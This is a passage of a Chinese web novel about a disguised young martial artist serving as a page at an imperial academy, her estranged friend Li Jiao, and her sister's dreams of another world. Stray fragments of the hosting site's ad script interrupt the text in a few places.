我却不在意,“我师兄就是个医痴,为人单纯。我不一样,我自幼行走江湖,朝堂之事我不懂,但我知人性,我闲来无事喜欢读书听书,尤其坊间流传的老唐皇家秘史野史,看得多听得多,当然也思考其中奥妙。说不定再过几十年,你们汉家的密辛,也要广为流传呢。公主心中不必芥蒂,我呢把话说透,只是一心想要治病救人,不想病还没治好,病人就往生去了,让我治无可治,你们大仇在身,真要起事我不拦着,身体好了请自便。”不卑不亢,说完,我背上药箱行礼告辞,几个飞身消失在夜色中。 出发汤泉宫,堂邑夫听说平昭公主不去,反倒跟着我同行,惠王问我要不要带上平安,我想了一下还是算了,在我彻底安顿下来之前,我与平安还是少接触吧。知道我们关系的人越少越好。我们都经历的太多太多,团聚放在心里就好,在各自的生活里长久安康就是对彼此最大的安慰。 再者我要走的路太过坎坷太过漫长,我要做的事太过艰辛太过危险,她如今如空谷幽兰,岁月静好,我不想牵连她。 汤泉宫的水做药浴清毒事半功倍,配上我每日用内力给惠王修复机体,惠王的身体恢复的很快,十数天的光景,惠王便与常人无异,公主闻此喜讯,特意赶来,对我感恩戴德。 最后一次药浴,我给惠王渡完真气,累的趴在池边小憩,惠王坐过身来,像之前一样往我身上舀水。“这次比之前更累吗?”他十分愧疚。 我点点头。为了救他我耗费了八成内力,所以一次比一次累,这件事是断然不能让苏和知道的,我吩咐堂邑夫若师兄问起,只说药浴清毒,又开了些强身健体的方子佐治即可。 我昏昏沉沉起身,握住惠王的手,在他手心里写了一个藏字,道:“王爷不能好的那么快,好的那么彻底。” 惠王攥紧拳头,点点头,像是承诺我一般坚定的嗯了一声。他将小小的我拥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 入怀中,我顺势靠在他肩上沉沉睡去。不知过了多久,我醒来已经换好衣服在自己房间里了。 起身盘坐运转内力调息,丹田的内力空了好多,竟只剩下二成内力,不过没关系,以我的能力不到一年就可恢复如初。可这一年对于我们习武之人有多珍贵呢,若是不救惠王,这一年我便能突破玄止境。如此要往后拖一拖了。 惠王欠了好大一个恩情,于是我也要了一个好大的恩典。让惠王举荐堂邑夫去学宫。 学宫是汉家最高等学府,有文武学堂,培养文武人才,换句话说这是个汉家倾举国之力培养文武全才的地方,这里的学生学成出仕,文可安邦定国,武可开疆拓土。 也就说只要踏进学宫,便是一只脚迈进朝堂,前途光明不可限量。 学宫入学标准十分严苛,学生出身功勋世家恩荫显赫只是其一,自身亦要有能力又优秀,刻苦好学,人品持重,若不成器也是不准入学。 寻常人只能或读书科考,或习武从军,或举孝廉,入仕须得从低处开始,想要入学宫进学,非桑怀民之大功德不可。而今我们抱上了惠王的大腿,岂可错失良机。 惠王身份极为特殊,又常年卧病,从未推举什么人去学宫学习,是以当堂邑夫打着惠王的名号,通过入学策问比武,核验身份等诸多考察,顺利进了学宫,引起了不小的骚动。 学宫之中大多是世家勋贵,王侯将相之子,皇室宗亲之辈。 学宫与皇宫一墙之隔,原是从未央宫分出来的一所宫殿,由一座可九乘并行通过的飞桥连接,供皇帝太子通行,平时重兵把守。 学宫之外便是皇家园林上林苑,校场,马场,骑兵水师等各兵种演兵场,猎场等都在其中。 学宫分为文馆武馆,文馆在前,清净无语,经过一个巨大的花园之后,才可听到演武兵器械斗的撞击声。 虽然文武兼修,但也各有侧重,喜武的学生住在武馆,武馆大殿后面便是宿舍,宿舍分布在一个巨大的连廊两边,宿舍为上下两层,除了一侧是连廊,其他三面合围过来,中间是一个擂台,擂台下侧外围有兵器架,摆满了各式各样的兵器,擂台之间的宿舍房间互通,也就是说若两边的擂台都在比武,居住在中间的学生只要转转头,就能将两边台上情形尽收眼底,是以中间二楼视角最佳,不是一般学生可以入住的。连廊左右各有十个这样的擂台,平时多有比武较量,好不热闹,这样的连廊有两条,房间以天地玄黄并天干地支为计。 因着惠王的关系,我们被分到地字丁二,正好是两个擂台中间的宿舍,二楼,视角极好。中间的宿舍为四人合住,我作为堂邑夫的书僮按例被安置到主人床头的隔间内。 堂邑夫继续被人带着参观学宫,我则被同住一屋的武安侯世子家的书僮田男男领着去各处了解以后如何伺候主人。后厨,茶水间,洗衣房,浴房…… 每去一处地方我都不用介绍自己的来处,婶婶们姨姨们姑姑们就围上来,她们一早就把我和堂邑夫打听清楚了,知道我们是神医苏和的师弟,由惠王引荐。又见我可爱,伶俐,讨人喜欢,便硬塞给了我好些糕点,让我用熟人的身份帮他们的亲戚朋友预约苏和的诊号。 苏和自来长安城后声名更盛,尤其是治好了长公主刘婉的心疾以及太后的眼疾,皇帝陛下也召见他调理身体,太医院的御医们也上门拜谒甚至请入门下。 我说回头我写一些引荐信给她们,又道小病不毕浪费机会,找我也是一样。她们越发欢喜越发热情。 闻说苏和生的仪表堂堂,容貌甚伟,又无家室,更打听起来,每到一处便说个没完,好在每次田男男都能把我硬拉出来。 8. 余情 堂邑夫下学之前我要给他整理好床铺衣柜书桌笔墨等等以及洗漱一应用品。男男今年十三岁,个头比我高出好多,干活又利落又细心,见我不得力便来帮忙。快下学了,手头事还没收尾,我也愿意叫他帮忙,总是男男男男的叫他。 堂邑夫已经和他的同窗们打成一片,称兄道弟,好不热情。下学簇拥而来,有说有笑到了楼下,田世子听见我的声音愣了一下,一边上楼一边伸着脖子看:“这谁家童儿这么叫我家田男男,软软糯糯的娇滴滴的。” 堂邑夫一把搭在田世子肩上,推他快步上楼,“是我老大,我来引荐一下,老大我回来啦。” 我闻言忙去迎他,给田世子行礼问安。堂邑夫顿了一下,尴尬道:“田世子威名在外,自然不用我引荐,这是我的书僮,我老大长安。” 田世子看看我又看看堂邑夫,有点反应不过来,我那么小小一只,堂邑夫这么大身量不说,又有谁管自家书僮叫老大? 堂邑夫也不知道怎么解释:“反正这就是我老大。” 我又行礼,“田世子别听他胡说,唤我长安即可。” 抬头却见一双血红的眼睛,那人盯着我一步一步上楼来。 我的心一下漏了好几拍。 李椒在楼下听那一声声男男时,心就揪起来了,那声音他太熟悉了,那是……不,一定又是听错了。失望太多,心本该麻木,可每次还是会期待……可这一次心痛之余,听到那个名字,更多的是愤怒。 长安,她怎么会在这里,她怎么会是堂邑夫的书僮,她怎么是“他”?! 李椒只觉得自己无法呼吸无法思考。 堂邑夫转头看到李椒,心中大骇,知道会在学宫遇见,谁知怎么这么巧,竟住一间,不由发起牢骚:“真是晦气,我要换房间,我要换房间。” “别胡闹,我出去一下,你赶快把夫子留的功课做了。”我安抚堂邑夫,说完看了李椒一眼,从他身边经过,头也不回的走了。 田世子还奇怪为什么李椒这个样子,他向来持重,从未如此失态,又见我如此吩咐堂邑夫,嘴张的更大了。见李椒跟着我下去,连忙问堂邑夫什么情况,堂邑夫冷着脸写功课,并不多言,男男识趣的退在一边,给李椒的书僮墨香递眼神,想打听一下,墨香转身收拾他家主人的物品,并不多事。 傍晚的上林苑真美,我走在前面,远处还有下学不愿回宿舍的公子们在夕阳下打马球,湖边绿树成阴,我在一棵树下停住,道:“你别生气,不告而别是我不好。” “你……”李椒气极,“到底为什么?” 我转过身去,仰头看着背光的他,伸开双臂,“难道,你看不出来了吗?” 时光荏苒,而我,一点都没有变化,我一点也没有长大,你看不出来了,你不觉得奇怪吗? 李椒细细上下打量我,脸上神情稍稍冷静,旋而暴怒,指着我不住的发抖。 对吧,就该是这个样子吧,看到这样的我会嫌弃会恶心吧。 “你……个大骗子。” “对,我骗了你,对不起。” “你是个男的,你居然是个男的……” “嗯?!”什么?!我有些乱,第一次觉得脑子转不过弯来。 “哈哈哈,你这个无耻的大骗子。”李椒怒极反笑,猩红着眼睛,大骂一通,转身悲愤的离开。 我低头看了看湖水中的倒影,俨然一个俊俏的小男孩儿,无奈叹了口气,怎么把这茬忘了。可是……误会就误会吧,我如今这副样子还能怎么样。是男是女重要吗?那就好好做个永远长不大小书僮吧。 和李椒的梁子就这么结下了,他痛恨我,每次见到我都没有好脸色,堂邑夫也更加讨厌他,却也极为隐忍。 宿舍的第四人是永定伯家的嫡长子陈书,他伯父便是长公主刘婉的驸马,他温文尔雅,是李椒的好友。若非我的缘故,堂邑夫与他们相交,必定是很好的同窗,以后一同在朝为官,也是极好的同僚。 文学馆也分等级,李椒是太子伴读,所以虽然与我们同住,却不和堂邑夫田世子陈书一个班级读书习武。 文学馆课程差不多,武学馆有区分,武将家的孩子自家就有功法,除了跟着教头学习统一武功,还要各自在武房修炼独家心法。个家心法不同,内力不可统一较量,演武擂台上有一条禁令就是只能切搓武功招式,不可使用内力。 我让堂邑夫藏拙,好好跟着教头学习武艺,以前鬼门杀手的招式能忘就忘了吧,毕竟杀手的招式太过阴狠,为达目的为了活命无所不用其极,有些实在上不的台面。 我平日会跟着堂邑夫一同进学,表面上服侍笔墨,茶点,其实大部分时间我们两个正好相反,这般有失礼数,夫子起初甚是微词,碍于惠王面子,隐而不发,后来见我竟对堂邑夫的课业颇有指点之意,便有意为难我,挑了一些问题让我做答,我的回答立意新奇,逻辑严谨,他眼前一亮,仿佛发现宝贝一般,慢慢多有照拂,后来大有收我做入室弟子之意。 我只说已有师门,此次前来学宫也是听命师兄苏和嘱托,督促同门堂邑夫好好求学。 一番交谈下来,夫子才知我才是苏和嫡系师弟,颇为敬重,却也好生失落。再后来我学的极快,夫子课我提前学完了,便自行去藏书阁阅读群书,有时看书看累了,就打坐运功,学生们互不打扰,很是清净,藏书阁的书与师父的藏书洞有的一拼,我一进去就不想出来,不是堂邑夫一到饭点,就来寻我,我怕是连饭都忘了吃。 李椒他恨我,连我主动的示好也不理,却又总是使唤我做这做那,我顺从听命。我帮他整理床铺,堂邑夫在对面吹胡子瞪眼,膀臂端坐怒视李椒,田世子一脸茫然,和田男男分析:长安是堂邑夫的书僮老大,他自己都不舍得用,李椒随意差遣,长安还百依百顺,无有不应,堂邑夫也只敢怒不敢言,这屋里谁最大……最后不服道:这屋里不该我最大吗? 田男男趴在田世子耳边小声嘀咕:当然是世子爷最大,这长安哪,以前是跟着李二公子的,后来才跟了堂邑夫。 “噢,那,那就说通了。”田世子一脸恍然大悟,旋又茫然:“那也不对啊,既然是旧主,如何这般对待,是以前没伺候好,记恨上了。” 男男递上糕点,低声道:“爷,应该是伺候的太好,后来伺候旁人了,嫉恨上的,嫉恨,嫉妒的恨。” 主仆二人对视会意,连连点头。田世子颇为不屑:“啧啧啧,一个小童子,还闹起来了,这宿舍这气氛我都呆不下去。” “爷话不能这么说,这事就没落咱身上,要我转投旁人了,你不得宰了我。” “那……倒也是。”旋即田世子指着男男一脸警示,“你敢。” “爷,这跟敢不敢没关系,我可是忠仆。” 田世子点点头,“也对,男男是忠仆,断然不侍二主,那,此事说来都是长安的错了?” 众人闻言都看向田世子,田世子好生尴尬。 堂邑夫看着我细心的给李 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 椒铺床,又听见田世子那般胡说,气道:“我老大是神医苏和的嫡亲师弟,为了师门为了众生不惜自身试毒试药,伤了身体,四处寻药,不慎与师兄弟们离散,不得已,暂时在李府落脚而已。怎得就成了他的仆人。” “快快别说了,赶紧默功课。那篇文章你到现在还默写不下来。”我收拾好李椒的床铺,转身又来收拾堂邑夫的,小声和他说道。堂邑夫让我住手,说他马上默写完了,有手有脚自己会整理。 我起身下楼,出去透透气。 “不论怎样,当年你都是不告而别,不留只字片语就离开,我找你找疯了,老太太也伤心许久。当时上郡出了大案不太平,我们还以为你……我在上郡还给你立了衣冠冢。”李椒果然跟着来了,他恨恨的说着:“这些我都不计较了,我只恨你,为什么是个小子,却骗我,为什么?” “……对不起。”我如今这样子,多余解释,还是认了吧。 “对不起就算了吗?”李椒阴沉着脸,“你给我记着我永远恨你。”说完又头也不回地走了。 我看着他的背影,见他慢慢走远,又停住脚步,然后转身回来,看着我道:“当年的上郡大案和你有关系吗?” “……”我不想在说任何一个骗他的字。 “我不是傻子,我后来修习心法,已有小成,每每回忆起来,都觉得当年你气息不同,这次重逢我仔细探查了一番,你小小身形内力还挺深厚的。” 我如今只有两成功力,做不到将气息收敛到全无的境界,可是武馆内鱼龙混杂,大家内力散发的气息混杂,都有意收敛,想要互探十分困难,却不想还是被他察觉到了,他如今的内力在我之上,我的两成功力没办法探到他的实底儿,只约莫了解个大概,不由惊奇,他如今竟精进如此,果然是我看中的人。 见我不语,他又阴沉道:“还得多谢你犯此大案,不然我们也无法缴获隆御山庄的宝物。你们是不是就冲着那些宝物去的,真是可惜,功亏一篑,差一点你们就可以发现密室了呢。” 那是我特意留给你的。你父亲李太守驻守边关多年,战功无数,却未曾封爵,就是缺少一个极大的契机。且那是鬼门京中暗桩密保,皇帝身体有恙,太子监国,大内禁卫统领必定有所安排,原本那些宝物我是要带回门中的,因着你和老太太的关系,就留下了。连同我父皇给我的东西也留下了,那东西足够了,如此功勋,你父亲就可以执掌羽林卫,你兄长就可成为太子臂膀,而你就可以入学宫了啊。 “老太太……” “不许你提老太太,你不配。” “你别恨我了,我们和隆御山庄是江湖恩怨,江湖事江湖了,那些财宝我们怎么会没发现呢,只是钱财不是目的,我们有恩报恩有仇报仇,当时他们灭我全族,我们灭他全家,也是一报还一报。” 当年不知怎么的隆御山庄得了南唐的消息,追杀到船老大家里,杀了船老大和身怀六甲的玥,抢走父皇给我的龙玉,一把大火又连累了多少人,后来为了破解龙玉的秘密,又灭了桑怀民满门,这些仇我一定得报。 “江湖恩怨,那又怎样那也不行,无论怎样我都恨你。”李椒听了我的解释稍稍松动,却又气极,“你骗我的那件事,我永远不原谅。” 我知道他在别扭什么,而那件事……如果照他那样理解,也确实没法原谅。就这样吧,有些话长了嘴巴就一定要说开,而有些误会也没有一定要解开的必要。比如我现在这样子,他误会着反而好,不然怎样。 9. 魂穿 我的马是从西域大宛买来的汗血马,入了长安,便安置到惠王府的马场。它生性爱自由,我从没长时间的拘着它,它大概实在恼了就从马场逃跑了,所幸惠王的马场隶属皇家,就在上林苑,上林苑方圆数千里,它放肆自在去吧,疯玩一阵会和从前一样自行回来。 所以有人来报说马跑了,我也没着急,倒是来人很是抱歉,这么好的马给丢了。我安慰他说不要紧它会自己回来,那人将信将疑,不过我这马主人都没放在心上,他自然也没必要操心。 我们去上林苑骑射场练习骑射,堂邑夫想显摆我们有一匹好马,让我吹马哨唤小黑出来,我说显摆不到,小黑来了不让骑反而会很丢人。堂邑夫想了一下非常赞同。 小黑小的时候还很听话,长大了以后,忽然桀骜不驯,特别不喜欢被人骑,我们以前都是买驯好的马匹,性子也没那么烈,从来没有自己驯过马,对马匹这一块我们是真不懂,也一直没时间找驯马师来驯服,本来放到惠王马场也有委托帮忙驯马,但小黑还给跑了。 小黑也不是完全不让骑,我们能不能骑小黑,得小黑自己决定。大多时候它愿意让我骑,大概因为我比较轻,但是不能上马鞍,一上马鞍就发疯,后来一看见马鞍就疯跑,堂邑夫说没有马鞍硌得慌,他尝试了一下,疼了好几天。我觉得还行,就是没有马鞍确实累人,非常练腿力。 在马场选马的时候,我们遇见平安了。平安是来找郑清的,说是郑清姐姐被召入东宫侍奉太子,郑清也被提拔到皇家马场来当值。今日平安休沐就从惠王府出来找他。 她带着围帽,旁人看不见她的样子。我俩坐在山坡的树下,看着那些鲜衣怒马的少年郎策马扬鞭奔驰涉猎。 我躺在平安腿上,她用围帽罩住我,给我挖耳朵,我一直说个不停,问她吃的好不好,给她的钱要花,别舍不得,喜欢什么买什么……她沉默了良久,忽然翻转我看着我的眼睛,下定决心似的道:“姐姐,哦,长安,有件事情我不知道怎么说,你才能了解清楚。”我现在的身份是苏和的师弟,堂邑夫的书僮,以后或许有新的身份,但是性别不变了。不好让平安叫我哥哥,只让她叫我名字就好。 她好像很纠结,我笑了笑。 “你试着先说说看啊,我不懂你再想新的解释,万一你说一下我就明白了呢?” “也对。”平安点头,然后思索了一下,道:“那天,就是我们分开的那一天,我和郑清放羊回去,我以为你们都死了,惊吓过度,昏死过去,我和郑清被安置在县衙,接着就大病了一场,都快死了,浑浑噩噩间做了一个很奇怪的梦,后来身体好些了,也总迷迷糊糊断断续续地做那个梦。后来我在梦里死了,就不再做那个梦了。这些年我总回忆,梦里的事情太真实了,我有时分不清到底这里是梦还是那里是梦。我还是不是我,我都有些混乱了。” 我看着她等她继续说下去。 “梦里我去了一个新世界,在那里我出生,有新的爸爸妈妈,就是父亲母亲,我也是女孩子,长到三四岁记忆慢慢明朗,我去上幼儿园,就是小孩子要上的学,再大一点就上小学,然后是初中高中,我刚考完大学就死掉了。我忘记自己怎么死掉的。” “女孩子能上学,这么说来那个世界很美好。”我有些感兴趣。 “对那个世界很美好,我上学学习很多知识,闲暇时光爸爸妈妈带我去图书馆读书,去各地旅游,坐汽车火车飞机,去看电影去演唱会,我和同学一起逛街买衣服看喜欢的明星。”她越说越兴奋,“可是有一点,我特别不理解,那个世界的历史和咱们是不一样的,他们没有我们的朝代,他们有自己的朝代更迭。但是地理是一样的。就是这片大地还是这片大地,但是上面的人和故事不一样,也不能说完全不一样,也有重叠的部分,就比如有些丰功伟业注定要实现,有些鸿篇巨制注定要问世,比如四书五经两个世界都有,但是书写它们的人却各有差别。我还是学识太浅,没办法总结,没办法好好给你解释清楚。” 我安慰她说没关系,让她继续说。 “可是最近我发现有些故事好像慢慢变得熟悉起来,比如我喜欢的人,他以后可能是千古一将,名垂青史的那种。长安你可以听得懂吗?”平安有些忐忑。这些话她从来不敢说,她怕说出来会被认为是当年病没好利索得了失心疯。 其实我也不是很关心梦的事情,但是平安好像很重视的样子,我便也很认真的对待,我想了一下,坐起身来,我个子小小的,靠在她的肩膀上,围帽围着我们两个也不拥挤,我道:“嗯,也懂也不懂,可是有什么妨碍,梦再真实也是梦,我只要我的平安妹妹平平安安,快快乐乐就很好。” 平安心里是感动的,但是终究有种天下无知己的孤独悲凉之感,她叹了口气,握着我的小手,郑重道:“长安对不起,我可能不是你的平安妹妹了,起码不是原来的平安了,你对我这么好,我时常感到愧疚,我感觉自己是另一个世界的灵魂,占据你妹妹的身体活着。” 见她胡思乱想,我开解她道:“是我们分开的太久了,缺席彼此成长的过程太久了,乍一团聚,难免生分。”傻瓜妹妹,你怎么会不是平安呢,难道生了大病,感觉自己快死了,昏昏沉沉做了一个梦,醒来就是旁人了吗?“你是经历了太多痛苦,不管是这个世界还是那个世界,你都经历了生死,不是看着亲人死,就是自己死,那个时候你得多害怕啊,人都是脆弱的,哪能经得住如此折腾,有些混乱是正常的啊。我也几经生死,绝境的时候亦如梦似幻过,醒来以后也恍惚得不知所措。要真是你说那样,你是另一个灵魂替我妹妹活着,那我倒要感谢这个你了,要不是你继续在我妹妹的身体里活着,我妹妹岂不是早就死了,那我岂不是再也没有家人,此生都要孤独的活着吗?” 死是一件很容易的事,那么无能为力,无可奈何,我用力回握平安的手,“平安,我想以后我们还有很多艰难险阻,我会竭力护住你,可是凡事皆有万一,如果万一,你得答应我好好活着,无论用怎样的方式,无论多么艰难,都一定一定不要轻易咽下最后一口气。”一定要永远陪伴着彼此,除了你我,我们没有家人了。 平安哭了,我也哭了,我们相拥着在上林苑大哭了一场。 “我喜欢郑清。”平安欢喜地说。 “我知道。”我喜欢看平安欢喜的样子,她快乐我就开心。 “可是最近他总是有意疏远我,他以前对我很好的,极尽温柔。”平安有些幽愁,少女情思多半如此,又爱恋又痴怨。 “人长大了,不能总像小时候一样亲密。”若我有幸长成了,和堂邑夫也肯定不能像现在一样处得和兄弟一样。 “这一生我所有美好的愿景都是关于他,我真的很喜欢他,想和他一生一世一双人,为他生儿育女,守着一方天地,安安稳稳的一辈子。”平安惆怅又满怀憧憬的说着。 夫妻恩爱,儿女双全,安安稳稳一辈子,也是我对平安的期望。我忽然想起了玥,心中伤感,没听见平安又说了什么,好一会儿才回过神来。 “我想搬出王府,如今郑清不在王府当差了……”平安有些羞赧的说道。 “这好办!”我早就在长安城置办好了宅院,早先平安不愿意离开王府搬进去,这会儿又说我平时不在府上,纵然有护卫仆从婢子,深宅大院的,她想想就觉得住着害怕。 我想也对,苏和那里也不行,苏和是我的师兄,人也稳妥,但平安和苏和不熟悉,怕是会有寄人篱下之感,实在拘谨,而且苏和弟子数众,就算住在后院独居,也终是多有不便。 我正思量着,平安其实早就做好了打算,说这些年我托人给她的钱她一直攒着没用,王府的月钱和赏金她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也没怎么用过,如今是一大笔钱呢,说自己是个小财主,打算在长安城外的灞邑买一套两进小院。 灞邑?嗯,倒是个好地方,长安城外上林苑边,着实……方便! 我会意一笑,平安微微脸红。 我让几个办事稳妥的师侄帮着平安乔迁,温锅那日,来客不少,我和堂邑夫自不必说,平安在王府的姐妹来了不少,郑清的二姐三姐也来了,一大群人好不热闹。 趁大家推杯换盏酒意正浓之际,我悄悄将郑清叫出来,给了他一套武功秘籍,让他先自己练着,有什么不懂的记下来,有空就去学宫后宫门托人找我,守门的戍卫我都打点好了。我闲暇也会去马场找他。 郑清是个本分木讷之人,喝了点酒,受了恩惠,感动的说不出话来,连连拜谢,要拜入师门。 拜师就算了,毕竟以后要做我妹夫,且我们门派也不是那么好入的。只吩咐他对平安好些就算全了恩情。郑清虽点头应下,只是那稍稍的迟疑,显得格外别扭。这个年纪还单纯的没学会隐藏内心和脸色,借着月光,我仰头直视着他,看出点端倪,心中不禁一阵担忧,转念一想郑清又不是堂邑夫那种不良之人,许是喝了酒的缘故,便只道自己应该是太过敏感了。 平安又沽了几壶酒,叫我们赶紧进去,我不想扫兴,并未深究,只留心想着以后要暗中探查一番。 今宵有酒今宵醉,先别管这么多,我不喝酒,只看着他们喝,一夜?欢声笑语,载歌载舞,是我为数不多的畅快。 平安又多次找我探讨她梦中细节,却也仅仅理出个大概,再想深入了解就不行了,一则这个梦太久远了,十几年了,印象再深刻,也逐渐模糊,二来,不论现实还是梦境,平安总是懵懵然然晕晕乎乎的,她自己没什么头绪,突然冒出新奇想法和奇怪的知识,可我一旦深究,她就说不出所以然来了。比如她说南方有一种神奇的橡胶树,她讲了好些橡胶的用途,说收集原料要割破树皮用碗收集,这个过程就是割胶。 我被勾起兴趣,求知若渴,她却又无法回答我更深的问题,比如怎样建立加工厂,怎样才能将原料加工制作成她说的轮胎鞋子手套等等。 她思考一番说所有一切都要有先进生产力,得先发展工业,说工业革命要从蒸汽机开始,还拿烧水壶给我举例,说可以造蒸汽轮船,火车…… 然后到了我问到实际运用阶段时,她又噎住了。 反复几次,我被她弄的有些烦恼,埋怨她为什么在梦里什么都浅尝辄止,为什么不踏踏实实深入研学,弄个清清楚楚明明白白。做学问岂可这般怠慢。 她可怜巴巴地说,梦中的在那个世界,她并不知道自己要是不小心死了,会来到这个世界,现在也后悔没有好好学习。本来她还为自己的见识引以为傲沾沾自喜,如今却被我说得懊恼了好一阵子。 我并没有完全将她否定的意思,毕竟她在音律和诗词歌赋上的造诣确实高于常人,她说是梦中所得,我想大概是惠王府的功劳多些,却也不得不惊艳那个世界的才情。 她很开心我坚定的相信她梦里那个神奇世界的存在,于是她说她经过一番挣扎,下定决心了,打算实话告诉我她的终极秘密——她是灵魂穿越,那不是梦,那是平行时空,我认为的她的那些个惊才绝艳,都是那个世界的产物。 虽然平安的知识零散繁乱,但其博闻强识浩瀚新奇,让我十分羡慕,我甚至有些向往那个世界,却也真的对平安恨铁不成钢。但最后我想明白了,就为之前的责备跟她道歉,毕竟就是个梦,谁能靠一场梦成为大学问家,那天下人都不要用功读书了,都去做梦吧。不过平安的梦,也太神奇了吧。灵魂穿越,我倒是不太信。 不过师父曾说过宇宙之神奇,凡人不可得窥其一二,我想我们姊妹都各自有一番际遇,平安的际遇就是窥宇宙神奇之一斑。 10. 搓背 李椒终于忍不住和老太太说起长安来,那是他放在心上,疼在心尖,即便死了都深深爱着,每年都要偷偷祭奠的人啊,长安我恨你。李椒一个大小伙子,到老太太屋里哭得稀里哗啦,老太太心疼的跟着掉眼泪。 “那丫头活着不是件好事吗?你说你哭什么,哭得奶奶我心里这个难受啊。”老太太抚着怀中的孙儿,“我这就让人去把她叫回家来,想着她也大了,你们把婚事办……” 话未说完,李椒原本只是呜咽,这一下子放声大哭起来,叫嚷着打断老太太,“奶奶……长安他根本不是个丫头……他不是,他不是……” “哎呦,快别嚎了,快别胡说了,她不是个丫头那她还能是个什么。” “他是个小子,是个臭小子。”李椒停止哭喊,抬起头阴着脸恨恨地说。 “小子?谁?是小子?” “长安!” 长安是小子?她怎么能是个小子呢?老太太有点反应不过来。 哎呦,孙孙呐,这浑小子犯什么愚,胡说八道哟,好一会儿,老太太才一脸无奈道:“哎呦,哪跟哪啊,哦哦哦,你也说了长安她原是个走江湖的,那走江湖丫头她不方便,她女扮男装的,她……” “不是不是不是,哎呀,他就是个小子,呜呜呜。”李椒急了,急老太太这会儿还糊涂着,不明白到底怎么个事,又恼,恼有些事情自己还真不敢和老太太说清亮,还气,气长安那小子真是好手段,这些年了老太太还一心向着他。更恨…… 李椒心里苦,他恨长安是个臭小子,却男扮女装欺骗他的感情,恨长安是个双手沾血的江湖人,却一副单纯善良可爱模样。不过说到底,与其说他恨长安,不如说他恨自己,恨他当年轻易就把自己的心交出去了。一想到当年的点点滴滴,他就恼羞极了,恨极了。 “孩子啊你先缓缓气,你的性子我了解,爱之欲其生,恨之欲其死。你和长安好也罢不好也罢,有一点你记住了,要不是长安,那年除夕那场火要是烧起来,莫说是奶奶我,就算咱们整个李家都剩不下,还得连累街坊邻居。长安对咱们有恩,对你就跟不用说了,你这一身的本事,当然是你自己辛苦修炼,但可别忘了引路人啊孩子。”老太太安抚住正要狡辩的李椒,继续说道:“孩子孩子莫要急,你和长安有误会,有误会去把话说开,又不是没张嘴,你去问她,我相信长安一定言无不尽。可别生了大怨恨,怨恨最是消磨人,害人害己啊孩子。” 有人来报说老爷下值了,一会儿过来请安。 李椒闻言赶紧平静下来,站起身摸摸眼泪,行礼告退。他要回屋缓和缓和,一会儿还要给父亲请安,不能让父亲看出来,不然事情就大了。 老太太也打发他赶紧下去收拾一番,看着他离去的背影,属实不放心,又大声叮嘱:“你一定去问清楚啊,让长安有空来家里玩,来看看我,跟她说我想她,啊,别忘了啊。” 李椒头也不回一声不吭。老太太看着他那倔劲儿想起她的夫君,笑着道:“这臭小子,和他爷爷一样一样的,一根筋儿,傻得很,换身装扮,丫头小子就分不清了。” 当年她就是为了方便换了男装,老太爷就傻傻的以为那是她兄弟,还傻乎乎的问王家妹子怎么没来啊。怎么就没来啊?就站在他眼前儿呢,都认不出。当时她又气又羞又恼,又觉得那个傻男人万分可爱。 忽然悲从中来,老太太一想起老太爷总是要落泪的。 这日堂邑夫他们去教场练武,下了学,成群结队一边兴致勃勃复盘一边朝浴房走去,洗去一身汗水尘土。浴室里整齐的摆放着大浴桶,仆人们在他们下课前就已备好了温水。 虽然我打算一辈子做男人了,心中也坦荡,但也不意味我可以毫无所谓。每次都是等堂邑夫他们坐进浴桶以后,我才微微低头目不斜视地姗姗来迟,大大方方地进去将他的换洗衣物拿来,再将他脱下来的衣服拿去浆洗。因为我人缘好,洗衣房有不少婶婶抢着帮我洗。 往常李椒和堂邑夫他们的课不一样,也就不在一起沐浴。 今日却很是不巧,太子临时调课了。 堂邑夫这个傻子上课的时候练的太过激烈,汗水湿了衣裳,便脱了衣服光着膀子上课,很多人都是如此,不足为怪,偏他又与人摔跤,背上扎满了草籽枪.刺,上课的时候不觉得,这会儿难受起来,我弄了些草药给他药浴,又找了针来,趴在浴桶边上给他细细地挑刺。李椒来的时候,我们一众人说说笑笑,我也把最后一根枪.刺挑完了。 他一进来大家都静了下来,田世子和他打招呼,他懒懒地回应,眼睛瞪着我们这边,我顺势回头,只见他脸色甚是可怖。 他退去衣物,我赶紧转过身去,提着脏衣篮就要出去,却被他叫住,说是墨香没来,叫我给他搓背。堂邑夫闻言气得差点站起来,打了一拳水花,指着李椒警告,“你别太过分。” 我转头看了他一眼,示意他我和李椒的事他别掺合。他只能忍下。 我默默不语,等李椒进了浴桶,才慢慢走到他身边,拿起毛巾给他搓洗,他却不配合,说是让我给他搓背,却靠在浴桶里双臂张开放在桶沿上。 我擦擦他的肩膀双臂,连手指都给他搓洗了,问:“可以了吗?” “不可以!你平时就这样伺候人吗?”李椒心里酸得很,“我方才见你伺候你家主人伺候地十分舒服啊,可见平日有多用心。怎的到了我,就如此敷衍?是以前什么人纵得你偷奸耍滑,毫无规矩吗?” 我低头不语,只更加小心地擦他的脖子和露出水面外的前胸,小白手在他古铜色的皮肤上用力搓洗。再往下就实在不能洗了,我放下毛巾转身提着脏衣篮,连同李椒的,就要出去。 他伸手拽着我脖颈的衣领,怒道:“背还没搓完呢!” 堂邑夫怒极:“你别太过分。” 田世子也觉得李椒有些过了,毕竟长安是堂邑夫的书僮,哪能这样使唤,大家都是室友,总不能闹得太僵,就想着打打圆场,道:“墨香不在,长安那小个头,也没什么力气,我家男男最会搓背,男男你去给……” “不必!”李椒冷着脸回绝,又将毛巾用力甩给我,“你来。” 那毛巾甩我一脸洗澡水,我气的胡乱擦擦嘟着嘴,气道:“你往前趴趴。”说着还就势推了他一把,他回头瞪了我一眼,不情愿地照做。 他的个头真高,坐在浴桶里,和我差不多高,我能洗的地方并不多,他身上的也没什么灰。李椒往前一趴,我够不太着,垫着脚尖有些吃力,他的背又宽又长,我忙前忙后尽力给他搓洗,他却依旧不依不饶,轻了嫌轻,重了嫌重,百般挑剔,我忍着就是不恼,不一会儿,我问他:“这下可以了吗?” 谁知他竟站起身来,一脚踩在浴桶边上,只说了一个字,“腿。” 